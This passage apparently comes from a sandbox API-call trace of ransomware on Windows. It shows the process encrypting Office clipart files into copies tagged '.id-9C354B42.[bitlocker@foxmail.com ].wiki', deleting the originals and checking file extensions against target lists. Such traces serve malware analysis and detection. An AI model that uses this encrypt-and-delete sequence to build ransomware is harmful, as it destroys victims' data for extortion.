office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0185.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0185.648] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.648] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.648] GetLastError () returned 0x0 [0185.648] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xeb8, lpOverlapped=0x0) returned 1 [0185.656] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0186.033] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.033] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.033] SetEndOfFile (hFile=0x1f4) returned 1 [0186.034] CloseHandle (hObject=0x1f4) returned 1 [0186.034] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.034] SetEndOfFile (hFile=0x1d0) returned 1 [0186.037] CloseHandle (hObject=0x1d0) returned 1 [0186.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0186.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.037] lstrlenW (lpString=".doc") returned 4 [0186.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.037] lstrlenW (lpString=".docx") returned 5 [0186.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.037] lstrlenW (lpString=".pdf") returned 4 [0186.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.037] lstrlenW (lpString=".xls") returned 4 [0186.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.037] lstrlenW (lpString=".xlsx") returned 5 [0186.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.037] lstrlenW (lpString=".ppt") returned 4 [0186.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.038] lstrlenW (lpString=".zip") returned 4 [0186.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.038] lstrlenW (lpString=".rar") returned 4 [0186.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString=".bz2") returned 4 [0186.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString=".7z") returned 3 [0186.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.038] lstrlenW (lpString=".dbf") returned 4 [0186.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.038] lstrlenW (lpString=".1cd") returned 4 [0186.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.038] lstrlenW (lpString=".jpg") returned 4 [0186.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.038] lstrlenW (lpString=".doc") returned 4 [0186.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.038] lstrlenW (lpString=".docx") returned 5 [0186.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.039] lstrlenW (lpString=".pdf") returned 4 [0186.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.039] lstrlenW (lpString=".xls") returned 4 [0186.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.039] lstrlenW (lpString=".xlsx") returned 5 [0186.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.039] lstrlenW (lpString=".ppt") returned 4 [0186.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.039] lstrlenW (lpString=".zip") returned 4 [0186.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.039] lstrlenW (lpString=".rar") returned 4 [0186.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.039] lstrlenW (lpString=".bz2") returned 4 [0186.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.039] lstrlenW (lpString=".7z") returned 3 [0186.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.039] lstrlenW (lpString=".dbf") returned 4 [0186.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.039] lstrlenW (lpString=".1cd") returned 4 [0186.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0186.039] lstrlenW (lpString=".jpg") returned 4 [0186.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.039] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.039] lstrlenW (lpString="BS00135_.WMF") returned 12 [0186.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.040] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1044) returned 1 [0186.040] CloseHandle (hObject=0x1d0) returned 1 [0186.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0186.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.040] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.040] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.041] GetLastError () returned 0x0 [0186.041] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x414, lpOverlapped=0x0) returned 1 [0186.042] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x420, lpOverlapped=0x0) returned 1 [0186.043] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.043] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.043] SetEndOfFile (hFile=0x1f4) returned 1 [0186.043] CloseHandle (hObject=0x1f4) returned 1 [0186.043] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.043] SetEndOfFile (hFile=0x1d0) returned 1 [0186.044] CloseHandle (hObject=0x1d0) returned 1 [0186.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0186.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.044] lstrlenW (lpString=".doc") returned 4 [0186.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.044] lstrlenW (lpString=".docx") returned 5 [0186.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.045] lstrlenW (lpString=".pdf") returned 4 [0186.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString=".xls") returned 4 [0186.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.045] lstrlenW (lpString=".xlsx") returned 5 [0186.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.045] lstrlenW (lpString=".ppt") returned 4 [0186.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.045] lstrlenW (lpString=".zip") returned 4 [0186.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.045] lstrlenW (lpString=".rar") returned 4 [0186.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString=".bz2") returned 4 [0186.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString=".7z") returned 3 [0186.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.045] lstrlenW (lpString=".dbf") returned 4 [0186.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.045] lstrlenW (lpString=".1cd") returned 4 [0186.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.045] lstrlenW (lpString=".jpg") returned 4 [0186.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.045] lstrlenW (lpString=".doc") returned 4 [0186.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.045] lstrlenW (lpString=".docx") returned 5 [0186.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.045] lstrlenW (lpString=".pdf") returned 4 [0186.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.046] lstrlenW (lpString=".xls") returned 4 [0186.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.046] lstrlenW (lpString=".xlsx") returned 5 [0186.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.046] lstrlenW (lpString=".ppt") returned 4 [0186.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.046] lstrlenW (lpString=".zip") returned 4 [0186.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.046] lstrlenW (lpString=".rar") returned 4 [0186.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.046] lstrlenW (lpString=".bz2") returned 4 [0186.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.046] lstrlenW (lpString=".7z") returned 3 [0186.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.046] lstrlenW (lpString=".dbf") returned 4 [0186.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.046] lstrlenW (lpString=".1cd") returned 4 [0186.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0186.046] lstrlenW (lpString=".jpg") returned 4 [0186.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.046] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.046] lstrlenW (lpString="BS00136_.WMF") returned 12 [0186.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.047] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2166) returned 1 [0186.047] CloseHandle (hObject=0x1d0) returned 1 [0186.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0186.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.047] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.047] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.048] GetLastError () returned 0x0 [0186.048] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x876, lpOverlapped=0x0) returned 1 [0186.083] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x880, lpOverlapped=0x0) returned 1 [0186.084] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.084] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.084] SetEndOfFile (hFile=0x1f4) returned 1 [0186.084] CloseHandle (hObject=0x1f4) returned 1 [0186.084] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.085] SetEndOfFile (hFile=0x1d0) returned 1 [0186.085] CloseHandle (hObject=0x1d0) returned 1 [0186.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0186.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.086] lstrlenW (lpString=".doc") returned 4 [0186.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString=".docx") returned 5 [0186.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.086] lstrlenW (lpString=".pdf") returned 4 [0186.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString=".xls") returned 4 [0186.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.086] lstrlenW (lpString=".xlsx") returned 5 [0186.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.086] lstrlenW (lpString=".ppt") returned 4 [0186.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.086] lstrlenW (lpString=".zip") returned 4 [0186.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.086] lstrlenW (lpString=".rar") returned 4 [0186.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString=".bz2") returned 4 [0186.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString=".7z") returned 3 [0186.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.086] lstrlenW (lpString=".dbf") returned 4 [0186.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.086] lstrlenW (lpString=".1cd") returned 4 [0186.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.087] lstrlenW (lpString=".jpg") returned 4 [0186.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.087] lstrlenW (lpString=".doc") returned 4 [0186.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString=".docx") returned 5 [0186.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.087] lstrlenW (lpString=".pdf") returned 4 [0186.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString=".xls") returned 4 [0186.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.087] lstrlenW (lpString=".xlsx") returned 5 [0186.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.087] lstrlenW (lpString=".ppt") returned 4 [0186.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.087] lstrlenW (lpString=".zip") returned 4 [0186.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.087] lstrlenW (lpString=".rar") returned 4 [0186.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString=".bz2") returned 4 [0186.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString=".7z") returned 3 [0186.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.087] lstrlenW (lpString=".dbf") returned 4 [0186.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.087] lstrlenW (lpString=".1cd") returned 4 [0186.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0186.088] lstrlenW (lpString=".jpg") returned 4 [0186.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.088] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.088] lstrlenW (lpString="BS00184_.WMF") returned 12 [0186.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.090] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4976) returned 1 [0186.090] CloseHandle (hObject=0x1d0) returned 1 [0186.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0186.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 